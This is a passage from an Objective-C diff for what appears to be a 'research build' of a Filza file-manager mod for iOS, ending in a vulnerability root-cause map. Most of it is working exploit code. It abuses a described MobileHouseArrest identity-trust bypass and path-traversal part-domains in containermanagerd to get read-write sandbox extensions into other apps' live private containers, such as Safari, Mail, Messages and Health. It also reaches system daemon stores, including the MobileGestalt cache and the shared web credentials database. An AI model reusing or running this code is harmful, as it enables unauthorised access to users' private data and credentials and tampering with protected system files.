= NO; + if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory) + continue; + NSString *identifier = MCMDirectIdentifier(target, child); + if (!MCMSafeIdentifier(identifier)) continue; + NSString *link = [directory stringByAppendingPathComponent:identifier]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) continue; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] direct symlink failed id=%@ target=%@ errno=%d", + identifier, target, errno); + } +} + +static void MCMMigrateStorageEntry(NSFileManager *manager, NSString *directory, + NSString *oldName, NSString *newName) +{ + if (oldName.length == 0 || newName.length == 0 || + [oldName isEqualToString:newName]) + return; + + NSString *source = [directory stringByAppendingPathComponent:oldName]; + NSString *destination = [directory stringByAppendingPathComponent:newName]; + if ([manager fileExistsAtPath:source] && + ![manager fileExistsAtPath:destination]) { + NSError *error = nil; + if (![manager moveItemAtPath:source toPath:destination error:&error]) + NSLog(@"[MCMFilza] label migration failed old=%@ new=%@ error=%@", + source, destination, error); + else + NSLog(@"[MCMFilza] label migration complete old=%@ new=%@", + source, destination); + } else if ([manager fileExistsAtPath:source]) { + NSLog(@"[MCMFilza] label migration skipped because destination exists old=%@ new=%@", + source, destination); + } +} + +static void MCMMigrateLegacyTopLevelNames(NSFileManager *manager, NSString *root) +{ + NSArray *> *migrations = @[ + @[@"App Data", @"[MHA-C2] App Data"], + @[@"App Groups", @"[MHA-C7] App Groups"], + @[@"Extension Data", @"[MHA-C4] Extension Data"], + @[@"VPN Data", @"[MHA-C6] VPN Data"], + @[@"Service Data", @"[MHA-C10] Service Data"], + @[@"System Data", @"[MHA-C12] System Data"], + @[@"System Groups", @"[MHA-C13] System Groups"], + @[@"Protected Data", @"[MHA-C15] Protected Data"], + @[@"Additional Locations", @"[MHA-C13 Scoped] Additional Locations"], + @[@"Experimental", @"[MHA-Mixed EXP] Experimental"], + @[@"Wallpaper Lab", @"[MHA-C2] Wallpaper Lab"], + ]; + for (NSArray *migration in migrations) + MCMMigrateStorageEntry(manager, root, migration[0], migration[1]); +} + +static void MCMInstallScopedLink(NSString *directory, NSString *linkName, + uint64_t containerClass, NSString *identifier, + BOOL group, uint64_t part, NSString *partDomain) +{ + NSString *link = [directory stringByAppendingPathComponent:linkName]; + NSString *error = nil; + NSString *target = MCMActivateScoped(containerClass, identifier, group, part, + partDomain, kMCMReadWritePartFlags, &error); + if (!target) { + struct stat stale = {0}; + if (lstat(link.fileSystemRepresentation, &stale) == 0 && + S_ISLNK(stale.st_mode)) + unlink(link.fileSystemRepresentation); + NSLog(@"[MCMFilza] scoped activation failed class=%llu id=%@ part=%llu domain=%@ detail=%@", + containerClass, identifier, part, partDomain, error); + return; + } + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) return; + char current[PATH_MAX] = {0}; + ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1); + if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] scoped symlink failed name=%@ errno=%d", linkName, errno); + else + NSLog(@"[MCMFilza] scoped path ready name=%@ target=%@", linkName, target); +} + +static NSDictionary *MCMExperimentalPathStatus(NSString *path) +{ + NSMutableDictionary *result = [@{ @"Path": path ?: @"" } + mutableCopy]; + struct stat status = {0}; + errno = 0; + if (path.length == 0 || lstat(path.fileSystemRepresentation, &status) != 0) { + int savedErrno = errno; + result[@"Exists"] = @NO; + result[@"Errno"] = @(savedErrno); + result[@"Error"] = [NSString stringWithUTF8String:strerror(savedErrno)] + ?: @"unknown"; + return result; + } + + BOOL directory = S_ISDIR(status.st_mode); + result[@"Exists"] = @YES; + result[@"Kind"] = directory ? @"directory" : + (S_ISREG(status.st_mode) ? @"file" : + (S_ISLNK(status.st_mode) ? @"symlink" : @"other")); + result[@"Mode"] = [NSString stringWithFormat:@"%04o", + status.st_mode & 07777]; + result[@"UID"] = @(status.st_uid); + result[@"GID"] = @(status.st_gid); + + errno = 0; + BOOL readable = access(path.fileSystemRepresentation, R_OK) == 0; + int readErrno = readable ? 0 : errno; + errno = 0; + BOOL writable = access(path.fileSystemRepresentation, W_OK) == 0; + int writeErrno = writable ? 0 : errno; + int flags = O_RDONLY | O_CLOEXEC | (directory ? O_DIRECTORY : 0); + errno = 0; + int descriptor = open(path.fileSystemRepresentation, flags); + int openErrno = descriptor >= 0 ? 0 : errno; + if (descriptor >= 0) close(descriptor); + result[@"Readable"] = @(readable); + result[@"ReadErrno"] = @(readErrno); + result[@"Writable"] = @(writable); + result[@"WriteErrno"] = @(writeErrno); + result[@"ReadOnlyOpen"] = @(descriptor >= 0); + result[@"OpenErrno"] = @(openErrno); + return result; +} + +static void MCMRemoveStaleExperimentalLink(NSString *path) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && + S_ISLNK(status.st_mode)) + unlink(path.fileSystemRepresentation); +} + +static BOOL MCMInstallExperimentalSymlink(NSString *path, NSString *target, + NSString **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + if (error) *error = @"entry exists and is not a symlink"; + return NO; + } + char current[PATH_MAX] = {0}; + ssize_t count = readlink(path.fileSystemRepresentation, current, + sizeof(current) - 1); + NSString *currentTarget = count > 0 + ? [NSString stringWithUTF8String:current] : nil; + if ([currentTarget isEqualToString:target]) return YES; + if (unlink(path.fileSystemRepresentation) != 0) { + if (error) *error = [NSString stringWithFormat: + @"stale symlink removal failed errno=%d", errno]; + return NO; + } + } + if (symlink(target.fileSystemRepresentation, + path.fileSystemRepresentation) != 0) { + if (error) *error = [NSString stringWithFormat: + @"symlink failed errno=%d", errno]; + return NO; + } + return YES; +} + +static NSString *MCMCanonicalLexicalPath(NSString *path) +{ + NSString *result = path.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; +} + +static NSString *MCMRelativeSymlinkTarget(NSString *sourceDirectory, + NSString *absoluteTarget) +{ + NSArray *source = + MCMCanonicalLexicalPath(sourceDirectory).pathComponents; + NSArray *target = + MCMCanonicalLexicalPath(absoluteTarget).pathComponents; + NSUInteger common = 0; + while (common < source.count && common < target.count && + [source[common] isEqualToString:target[common]]) + common++; + + NSMutableArray *parts = [NSMutableArray array]; + for (NSUInteger index = common; index < source.count; index++) + [parts addObject:@".."]; + for (NSUInteger index = common; index < target.count; index++) + if (![target[index] isEqualToString:@"/"]) + [parts addObject:target[index]]; + return parts.count ? [parts componentsJoinedByString:@"/"] : @"."; +} + +static void MCMInstallFilesTraversalFolder(NSString *directory) +{ + // Files has explicit home-relative authority for these roots on the + // audited iOS 27 build. The two parent entries are retained as best-effort + // boundary checks; a failed link open does not imply a broader primitive. + NSArray *portals = @[ + @{ @"Name": @"01 All Mobile Containers", + @"Target": @"/private/var/mobile/Containers" }, + @{ @"Name": @"02 App Data", + @"Target": @"/private/var/mobile/Containers/Data/Application" }, + @{ @"Name": @"03 Extension Data", + @"Target": @"/private/var/mobile/Containers/Data/PluginKitPlugin" }, + @{ @"Name": @"04 VPN Data", + @"Target": @"/private/var/mobile/Containers/Data/VPNPlugin" }, + @{ @"Name": @"05 Internal Daemon Data", + @"Target": @"/private/var/mobile/Containers/Data/InternalDaemon" }, + @{ @"Name": @"06 System Data", + @"Target": @"/private/var/mobile/Containers/Data/System" }, + @{ @"Name": @"07 Protected Data", + @"Target": @"/private/var/mobile/Containers/Data/Protected" }, + @{ @"Name": @"08 App Groups", + @"Target": @"/private/var/mobile/Containers/Shared/AppGroup" }, + @{ @"Name": @"09 Shortcuts", + @"Target": @"/private/var/mobile/Library/Shortcuts" }, + @{ @"Name": @"10 Cloud Storage", + @"Target": @"/private/var/mobile/Library/CloudStorage" }, + @{ @"Name": @"11 Mobile Documents", + @"Target": @"/private/var/mobile/Library/Mobile Documents" }, + @{ @"Name": @"12 Live Files", + @"Target": @"/private/var/mobile/Library/LiveFiles" }, + @{ @"Name": @"13 Mobile Library - Best Effort", + @"Target": @"/private/var/mobile/Library" }, + @{ @"Name": @"14 Mobile Home - Best Effort", + @"Target": @"/private/var/mobile" }, + ]; + + NSMutableArray *results = [NSMutableArray array]; + for (NSDictionary *portal in portals) { + NSString *name = portal[@"Name"]; + NSString *absoluteTarget = portal[@"Target"]; + NSString *relativeTarget = MCMRelativeSymlinkTarget(directory, + absoluteTarget); + NSString *linkPath = [directory stringByAppendingPathComponent:name]; + NSString *detail = nil; + BOOL created = MCMInstallExperimentalSymlink(linkPath, relativeTarget, + &detail); + NSMutableDictionary *result = [portal mutableCopy]; + result[@"LinkPath"] = linkPath; + result[@"RelativeTarget"] = relativeTarget; + result[@"Created"] = @(created); + result[@"SourceAppTargetStatus"] = + MCMExperimentalPathStatus(absoluteTarget); + if (!created) result[@"Error"] = detail ?: @"link creation failed"; + [results addObject:result]; + NSLog(@"[MCMFilza] Files portal name=%@ relative=%@ created=%d detail=%@", + name, relativeTarget, created, detail); + } + + NSString *readme = @"Files traversal portals\n\n" + @"Open these links through Apple Files, not through Filza:\n" + @"Files > On My iPhone > Filza Mod > Device Storage > Files Traversal\n\n" + @"Files resolves the relative links with its own authority. Filza remains sandboxed, so a portal can look blank or fail when opened inside Filza even when it works in Files.\n\n" + @"These links point to live data. Create, copy, rename, move, and delete operations in Files can change another app's real container. Viewing is safest. This folder does not install a .Trash link.\n\n" + @"Portal Results.plist records link targets and checks made by Filza itself. EPERM in SourceAppTargetStatus is expected and does not predict whether Files can open a portal. Best Effort entries may be rejected by Files.\n"; + MCMWriteGeneratedString(readme, + [directory stringByAppendingPathComponent:@"README.txt"]); + MCMWriteGeneratedPropertyList(results, [directory + stringByAppendingPathComponent:@"Portal Results.plist"]); +} + +static NSDictionary *MCMRunExperimentalProbe(NSString *directory, + NSDictionary *probe) +{ + NSString *name = [probe[@"Name"] isKindOfClass:NSString.class] + ? probe[@"Name"] : @"Unnamed Probe"; + uint64_t containerClass = [probe[@"Class"] unsignedLongLongValue]; + NSString *identifier = [probe[@"Identifier"] isKindOfClass:NSString.class] + ? probe[@"Identifier"] : @""; + BOOL group = [probe[@"Group"] boolValue]; + uint64_t part = [probe[@"Part"] unsignedLongLongValue]; + uint64_t flags = [probe[@"Flags"] unsignedLongLongValue]; + NSString *partDomain = [probe[@"PartDomain"] isKindOfClass:NSString.class] + ? probe[@"PartDomain"] : nil; + NSArray *expected = [probe[@"Expected"] isKindOfClass:NSArray.class] + ? probe[@"Expected"] : @[]; + NSString *linkPath = [directory stringByAppendingPathComponent:name]; + + NSMutableDictionary *result = [probe mutableCopy]; + result[@"FlagsHex"] = [NSString stringWithFormat:@"0x%llx", flags]; + [result removeObjectForKey:@"Flags"]; + NSString *detail = nil; + NSString *target = MCMActivateScoped(containerClass, identifier, group, + part, partDomain, flags, &detail); + if (!target) { + MCMRemoveStaleExperimentalLink(linkPath); + result[@"Status"] = @"failed"; + result[@"Error"] = detail ?: @"activation failed"; + return result; + } + + result[@"ReturnedPath"] = target; + result[@"ReturnedPathStatus"] = MCMExperimentalPathStatus(target); + NSMutableArray *expectedStatuses = [NSMutableArray array]; + for (id relativeValue in expected) { + if (![relativeValue isKindOfClass:NSString.class]) continue; + NSString *relative = relativeValue; + NSString *expectedPath = [target stringByAppendingPathComponent:relative]; + NSMutableDictionary *expectedStatus = + [MCMExperimentalPathStatus(expectedPath) mutableCopy]; + expectedStatus[@"RelativePath"] = relative; + [expectedStatuses addObject:expectedStatus]; + } + result[@"ExpectedPathStatus"] = expectedStatuses; + + NSString *linkError = nil; + BOOL linked = MCMInstallExperimentalSymlink(linkPath, target, &linkError); + result[@"Status"] = linked ? @"linked" : @"failed"; + result[@"LinkPath"] = linkPath; + if (!linked) result[@"Error"] = linkError ?: @"link creation failed"; + NSLog(@"[MCMFilza] experimental name=%@ class=%llu id=%@ part=%llu domain=%@ status=%@ target=%@ error=%@", + name, containerClass, identifier, part, partDomain, + result[@"Status"], target, result[@"Error"]); + return result; +} + +static void MCMInstallExperimentalFolder(NSString *directory) +{ + NSFileManager *manager = NSFileManager.defaultManager; + NSArray *> *nameMigrations = @[ + @[@"01 Install Coordination", @"01 [MHA-C13] Install Coordination"], + @[@"02 MobileGestalt Cache", @"02 [MHA-C13] MobileGestalt Cache"], + @[@"03 Eligibility Overrides", @"03 [MHA-C12] Eligibility Overrides"], + @[@"04 App Managed Data", @"04 [MHA-C15] App Managed Data"], + @[@"05 Configuration Profiles Root", + @"05 [MHA-C13] Configuration Profiles Root"], + @[@"06 Shared Web Credentials Root", + @"06 [MHA-C10] Shared Web Credentials Root"], + @[@"07 System Data Library Control", + @"07 [MHA-C12] System Data Library Control"], + @[@"08 MobileGestalt via System Data", + @"08 [MHA-C12] MobileGestalt via System Data"], + ]; + for (NSArray *migration in nameMigrations) + MCMMigrateStorageEntry(manager, directory, migration[0], migration[1]); + + NSArray *probes = @[ + @{ + @"Name": @"01 [MHA-C13] Install Coordination", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.installcoordinationd", + @"Group": @YES, + @"Part": @3, + @"PartDomain": @"../InstallCoordination", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"Coordinators", @"DataPromises", + @"PromiseStaging"], + }, + @{ + @"Name": @"02 [MHA-C13] MobileGestalt Cache", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.mobilegestaltcache", + @"Group": @YES, + @"Part": @3, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"com.apple.MobileGestalt.plist"], + }, + @{ + @"Name": @"03 [MHA-C12] Eligibility Overrides", + @"Class": @12, + @"Identifier": @"com.apple.eligibilityd", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"NeverRestore", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"eligibility_overrides.data"], + }, + @{ + @"Name": @"04 [MHA-C15] App Managed Data", + @"Class": @15, + @"Identifier": @"com.apple.appmanagedfeaturesd", + @"Group": @NO, + @"Part": @0, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[ + @"com.apple.appmanagedfeaturesd/ConfigurationPersistence", + @"com.apple.appmanagedfeaturesd/Archive/ConfigurationPersistence", + ], + }, + @{ + @"Name": @"05 [MHA-C13] Configuration Profiles Root", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.configurationprofiles", + @"Group": @YES, + @"Part": @0, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[ + @"Library/ConfigurationProfiles/PayloadManifest.plist", + ], + }, + @{ + @"Name": @"06 [MHA-C10] Shared Web Credentials Root", + @"Class": @10, + @"Identifier": @"com.apple.swcd", + @"Group": @NO, + @"Part": @0, + @"Flags": @(kMCMFlags), + @"Expected": @[@"com.apple.SharedWebCredentials/swc.db"], + }, + @{ + @"Name": @"07 [MHA-C12] System Data Library Control", + @"Class": @12, + @"Identifier": @"com.apple.geod", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"..", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"Caches", @"Preferences"], + }, + @{ + @"Name": @"08 [MHA-C12] MobileGestalt via System Data", + @"Class": @12, + @"Identifier": @"com.apple.geod", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"../../../../../../containers/Shared/SystemGroup/" + @"systemgroup.com.apple.mobilegestaltcache/Library/Caches", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"com.apple.MobileGestalt.plist"], + }, + ]; + + NSMutableArray *results = [NSMutableArray array]; + for (NSDictionary *probe in probes) + [results addObject:MCMRunExperimentalProbe(directory, probe)]; + + NSString *readme = @"Experimental consumer traversal\n\n" + @"MHA means the MobileHouseArrest identity-trust bypass. C10, C12, C13, and C15 identify the ContainerManager class used by each link.\n" + @"These are fixed launch-time probes for daemon-consumed files found during the class 10/12/13/15 audit.\n" + @"A link appears only after ContainerManager returns a token, activation succeeds, and the returned directory opens read-only.\n" + @"Probe setup does not create or modify target files. The custom Filza copy/paste route is disabled inside this folder.\n" + @"The links still point at live directories; do not edit a candidate unless you have separately backed it up and planned an exact restore.\n\n" + @"Probe Results.plist records failed queries and the read/write/open status of each expected consumer path.\n"; + MCMWriteGeneratedString(readme, + [directory stringByAppendingPathComponent:@"README.txt"]); + MCMWriteGeneratedPropertyList(results, [directory + stringByAppendingPathComponent:@"Probe Results.plist"]); +} + +static BOOL MCMLaunchServicesIdentifierByte(uint8_t value) +{ + return (value >= 'a' && value <= 'z') || + (value >= 'A' && value <= 'Z') || + (value >= '0' && value <= '9') || + value == '.' || value == '-' || value == '_'; +} + +static NSArray *MCMExpectedIdentifiersFromEnvironment(void) +{ + const char *value = getenv("FILZA_MCM_EXPECT_IDENTIFIERS"); + if (!value || !value[0]) return @[]; + NSString *joined = [NSString stringWithUTF8String:value]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + for (NSString *identifier in [joined componentsSeparatedByString:@","]) + if (MCMSafeIdentifier(identifier)) [result addObject:identifier]; + return result.array; +} + +static void MCMLogExpectedIdentifierCoverage(NSString *label, + NSSet *actual) +{ + NSArray *expected = MCMExpectedIdentifiersFromEnvironment(); + if (expected.count == 0) return; + NSMutableArray *missing = [NSMutableArray array]; + for (NSString *identifier in expected) + if (![actual containsObject:identifier]) [missing addObject:identifier]; + NSLog(@"[MCMFilza] %@ expected=%lu matched=%lu missing=%@", label, + (unsigned long)expected.count, + (unsigned long)(expected.count - missing.count), missing); +} + +static void MCMResetAppLinksForTesting(NSString *directory) +{ + if (!getenv("FILZA_MCM_RESET_APP_LINKS")) return; + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *name in [manager contentsOfDirectoryAtPath:directory error:nil] ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && + S_ISLNK(status.st_mode)) + unlink(path.fileSystemRepresentation); + } + NSLog(@"[MCMFilza] reset App Data links for test"); +} + +static NSArray *MCMLaunchServicesStoreIdentifiers(void) +{ + static const NSUInteger kMaximumCandidateCount = 65536; + NSString *error = nil; + NSString *container = MCMActivate(10, @"com.apple.lsd", NO, &error); + if (!container.length) { + NSLog(@"[MCMFilza] LaunchServices store unavailable detail=%@", error); + return @[]; + } + NSString *caches = [container stringByAppendingPathComponent:@"Library/Caches"]; + NSArray *names = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:caches error:nil]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + BOOL reachedLimit = NO; + for (NSString *name in names ?: @[]) { + if (![name hasPrefix:@"com.apple.LaunchServices-"] || + ![name hasSuffix:@"-v2.csstore"]) + continue; + NSString *path = [caches stringByAppendingPathComponent:name]; + NSNumber *size = [[NSFileManager.defaultManager attributesOfItemAtPath:path + error:nil] objectForKey:NSFileSize]; + if (!size || size.unsignedLongLongValue == 0 || + size.unsignedLongLongValue > 64 * 1024 * 1024) + continue; + NSError *readError = nil; + NSData *data = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:&readError]; + if (!data) { + NSLog(@"[MCMFilza] LaunchServices store read failed path=%@ error=%@", + path, readError); + continue; + } + const uint8_t *bytes = data.bytes; + NSUInteger start = NSNotFound; + for (NSUInteger index = 0; index <= data.length; index++) { + BOOL allowed = index < data.length && + MCMLaunchServicesIdentifierByte(bytes[index]); + if (allowed) { + if (start == NSNotFound) start = index; + continue; + } + if (start == NSNotFound) continue; + NSUInteger length = index - start; + if (length >= 3 && length <= 255) { + NSString *identifier = [[NSString alloc] + initWithBytes:bytes + start length:length + encoding:NSUTF8StringEncoding]; + BOOL malformedDots = [identifier containsString:@".."]; + BOOL looksLikeIdentifier = MCMSafeIdentifier(identifier) && + [identifier containsString:@"."] && + ![identifier hasPrefix:@"."] && + ![identifier hasSuffix:@"."] && !malformedDots; + if (looksLikeIdentifier) { + [result addObject:identifier]; + if (result.count >= kMaximumCandidateCount) { + reachedLimit = YES; + break; + } + } + } + start = NSNotFound; + } + NSLog(@"[MCMFilza] LaunchServices store path=%@ bytes=%lu candidates=%lu", + path, (unsigned long)data.length, (unsigned long)result.count); + if (reachedLimit) break; + } + if (reachedLimit) + NSLog(@"[MCMFilza] LaunchServices store candidate limit reached"); + NSLog(@"[MCMFilza] LaunchServices store total candidates=%lu", + (unsigned long)result.count); + MCMLogExpectedIdentifierCoverage(@"LaunchServices store", + [NSSet setWithArray:result.array]); + return result.array; +} + +static NSArray *MCMInstalledApplicationIdentifiers(void) +{ + Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); + id workspace = [workspaceClass respondsToSelector:@selector(defaultWorkspace)] + ? [workspaceClass defaultWorkspace] : nil; + NSArray *applications = [workspace respondsToSelector:@selector(allApplications)] + ? [workspace allApplications] : @[]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + for (id proxy in applications) { + NSString *identifier = [proxy respondsToSelector:@selector(applicationIdentifier)] + ? [proxy applicationIdentifier] : nil; + if (!MCMSafeIdentifier(identifier) && + [proxy respondsToSelector:@selector(bundleIdentifier)]) + identifier = [proxy bundleIdentifier]; + if (MCMSafeIdentifier(identifier)) [result addObject:identifier]; + if (result.count >= 1024) break; + } + + return result.array; +} + +static NSArray *MCMResearchTargetIdentifiers(void) +{ + // Enumeration via container_query_iterate_results_sync returns near-empty + // results on iOS 26 even though direct lookups succeed. Seed all known + // first-party identifiers so the MHA bypass can resolve them by name. + return @[ + @"com.apple.mobilesafari", + @"com.apple.mobilenotes", + @"com.apple.Maps", + @"com.apple.facetime", + @"com.apple.iBooks", + @"com.apple.podcasts", + @"com.apple.PosterBoard", + @"com.apple.mobilemail", + @"com.apple.weather", + @"com.apple.camera", + @"com.apple.Health", + @"com.apple.Fitness", + @"com.apple.tips", + @"com.apple.Passbook", + @"com.apple.reminders", + @"com.apple.stocks", + @"com.apple.news", + @"com.apple.Home", + @"com.apple.tv", + @"com.apple.shortcuts", + @"com.apple.freeform", + @"com.apple.calculator", + @"com.apple.MobileSMS", + @"com.apple.InCallService", + @"com.apple.Preferences", + @"com.apple.springboard", + @"com.apple.Photos", + @"com.apple.AppStore", + @"com.apple.Music", + @"com.apple.Bridge", + @"com.apple.Clock", + @"com.apple.VoiceMemos", + @"com.apple.Translate", + @"com.apple.measure", + @"com.apple.compass", + @"com.apple.Magnifier", + @"com.apple.DocumentsApp", + ]; +} + +static NSArray *MCMCustomIdentifierKeys(void) +{ + return @[ + @"AppData", + @"AppGroups", + @"ExtensionData", + @"VPNData", + @"ServiceData", + @"SystemData", + @"SystemGroups", + @"ProtectedData", + ]; +} + +static NSArray *MCMDynamicIdentifiers(uint64_t containerClass) +{ + NSString *error = nil; + NSArray *identifiers = MCMEnumerateIdentifiersForClass(containerClass, 1024, &error); + NSLog(@"[MCMFilza] discovery class=%llu count=%lu detail=%@", containerClass, + (unsigned long)identifiers.count, error); + NSMutableArray *safe = [NSMutableArray arrayWithCapacity:identifiers.count]; + for (NSString *identifier in identifiers) + if (MCMSafeIdentifier(identifier)) [safe addObject:identifier]; + return safe; +} + +static NSDictionary *MCMCustomIdentifiers(void) +{ + if (getenv("FILZA_MCM_IGNORE_CUSTOM_IDENTIFIERS")) { + NSMutableDictionary *empty = [NSMutableDictionary dictionary]; + for (NSString *key in MCMCustomIdentifierKeys()) empty[key] = @[]; + return empty; + } + NSString *documentsPath = [MCMFilzaVirtualRoot().stringByDeletingLastPathComponent + stringByAppendingPathComponent:@"MCMIdentifiers.plist"]; + NSString *bundlePath = [NSBundle.mainBundle pathForResource:@"MCMIdentifiers" + ofType:@"plist"]; + NSMutableDictionary *merged = [NSMutableDictionary dictionary]; + for (NSString *key in MCMCustomIdentifierKeys()) + merged[key] = [NSMutableOrderedSet orderedSet]; + for (NSString *path in @[bundlePath ?: @"", documentsPath]) { + NSDictionary *value = [NSDictionary dictionaryWithContentsOfFile:path]; + if (![value isKindOfClass:NSDictionary.class]) continue; + for (NSString *key in merged) { + NSArray *identifiers = [value[key] isKindOfClass:NSArray.class] ? value[key] : @[]; + for (id identifier in identifiers) + if ([identifier isKindOfClass:NSString.class] && MCMSafeIdentifier(identifier)) + [merged[key] addObject:identifier]; + } + } + for (NSString *key in MCMCustomIdentifierKeys()) + merged[key] = [merged[key] array]; + return merged; +} + +static void MCMWriteInstructions(void) +{ + NSString *path = [MCMFilzaVirtualRoot() stringByAppendingPathComponent:@"README.txt"]; + NSString *text = @"Device storage research build\n\n" + @"MHA means the MobileHouseArrest identity-trust bypass. C2 through C15 identify the ContainerManager class used by each folder.\n" + @"[MHA-C2] App Data contains class-2 containers resolved from installed app identifiers.\n" + @"These are live private containers, not copies. Filza edits affect the target app.\n" + @"[MHA-Mixed EXP] Experimental contains fixed consumer traversal probes and records failures in Probe Results.plist.\n" + @"The custom copy/paste route is disabled there, but successful links still point to live directories.\n" + @"This build does not provide root, kernel R/W, arbitrary /var, Keychain, TCC, or app-bundle access.\n\n" + @"Optional target configuration is documented in the research source repository.\n"; + MCMWriteGeneratedString(text, path); +} + +static NSArray *> * +MCMSymlinkAccessEntries(NSFileManager *manager, NSString *directory) +{ + NSArray *names = [[manager contentsOfDirectoryAtPath:directory + error:nil] + sortedArrayUsingSelector:@selector(localizedStandardCompare:)]; + NSMutableArray *> *entries = + [NSMutableArray array]; + for (NSString *name in names ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0 || + !S_ISLNK(status.st_mode)) + continue; + + char target[PATH_MAX] = {0}; + ssize_t count = readlink(path.fileSystemRepresentation, target, + sizeof(target) - 1); + if (count <= 0) continue; + target[count] = '\0'; + NSString *targetPath = [NSString stringWithUTF8String:target]; + if (targetPath.length == 0) continue; + [entries addObject:@{@"Name": name, @"Target": targetPath}]; + } + return entries; +} + +static void MCMAppendSymlinkAccess(NSMutableString *text, + NSArray *> *entries) +{ + if (entries.count == 0) { + [text appendString:@"Enabled roots: none.\n"]; + return; + } + [text appendString:@"Enabled roots:\n"]; + for (NSDictionary *entry in entries) { + [text appendFormat:@"• %@\n root: %@\n", + entry[@"Name"], entry[@"Target"]]; + } + [text appendString: + @"The sandbox extension covers each listed root. Descendant access still depends on filesystem and Data Protection controls.\n"]; +} + +static void MCMAppendExperimentalSubpaths(NSMutableString *text, + NSString *experimentalDirectory) +{ + NSString *resultsPath = [experimentalDirectory + stringByAppendingPathComponent:@"Probe Results.plist"]; + NSArray *results = [NSArray arrayWithContentsOfFile:resultsPath]; + if (results.count == 0) return; + + [text appendString:@"\nExperimental returned paths and checked subpaths:\n"]; + for (NSDictionary *result in results) { + NSString *name = [result[@"Name"] isKindOfClass:NSString.class] + ? result[@"Name"] : @"Unnamed probe"; + NSString *returnedPath = [result[@"ReturnedPath"] isKindOfClass:NSString.class] + ? result[@"ReturnedPath"] : nil; + [text appendFormat:@"• %@ — status=%@\n", name, + result[@"Status"] ?: @"unknown"]; + if (returnedPath.length > 0) + [text appendFormat:@" returned root: %@\n", returnedPath]; + + NSArray *subpaths = + [result[@"ExpectedPathStatus"] isKindOfClass:NSArray.class] + ? result[@"ExpectedPathStatus"] : @[]; + for (NSDictionary *subpath in subpaths) { + NSString *path = [subpath[@"Path"] isKindOfClass:NSString.class] + ? subpath[@"Path"] : @""; + [text appendFormat: + @" checked subpath: %@ — exists=%@ readable=%@ writable=%@ open=%@\n", + path, + [subpath[@"Exists"] boolValue] ? @"yes" : @"no", + [subpath[@"Readable"] boolValue] ? @"yes" : @"no", + [subpath[@"Writable"] boolValue] ? @"yes" : @"no", + [subpath[@"ReadOnlyOpen"] boolValue] ? @"yes" : @"no"]; + } + } +} + +static void MCMWriteAccessReadme(NSFileManager *manager, NSString *directory, + NSString *text) +{ + BOOL isDirectory = NO; + if (![manager fileExistsAtPath:directory isDirectory:&isDirectory] || + !isDirectory) + return; + NSString *path = [directory + stringByAppendingPathComponent:@"README - Access.txt"]; + MCMWriteGeneratedString(text, path); +} + +static void MCMAppendUnifiedFindingMap(NSMutableString *map) +{ + [map appendString: + @"Root-cause map\n\n" + "Issue A — MobileHouseArrest identity-trust bypass\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: the app has the signed code identifier com.apple.mobile.MobileHouseArrest.\n" + "Primitive: MobileContainerManager accepts that caller identity and issues foreign-container sandbox extensions.\n" + "Current 24A5390f proof: class-2 Safari, class-2 Notes, and class-7 Notes-group roots passed token activation and readdir. The stock-identity control denied all three targets. A nonexistent target was denied.\n" + "Relation: the labeled Filza folders below use this one identity-trust bypass with different container classes.\n\n" + + "Issue B — built-in class-12 geod lookup and part-domain traversal\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: class 12 with identifier com.apple.geod. ContainerManagerCommon includes geod in its built-in lookup-bypass list.\n" + "Current 24A5390f proof: container_system_path_for_identifier returned /private/var/containers/Data/System/com.apple.geod, and readdir listed Documents, Library, tmp, and the metadata plist. Opening the metadata plist still failed with EPERM.\n" + "Archived 24A5380h proof: class 12, part 3, flags 0x8100000000, and a traversal part-domain reached the MobileGestalt Caches directory. A 275-byte read-write extension allowed a chosen plist marker. The test restored the original inode and SHA-256.\n" + "Relation: this route does not require the MobileHouseArrest identity. The geod allow path and unchecked part-domain are separate authorization defects.\n\n" + + "Issue C — class-13 well-known MobileGestalt group authorization gap\n" + "Component: MobileContainerManager and containermanagerd.\n" + "Trigger: class 13, group 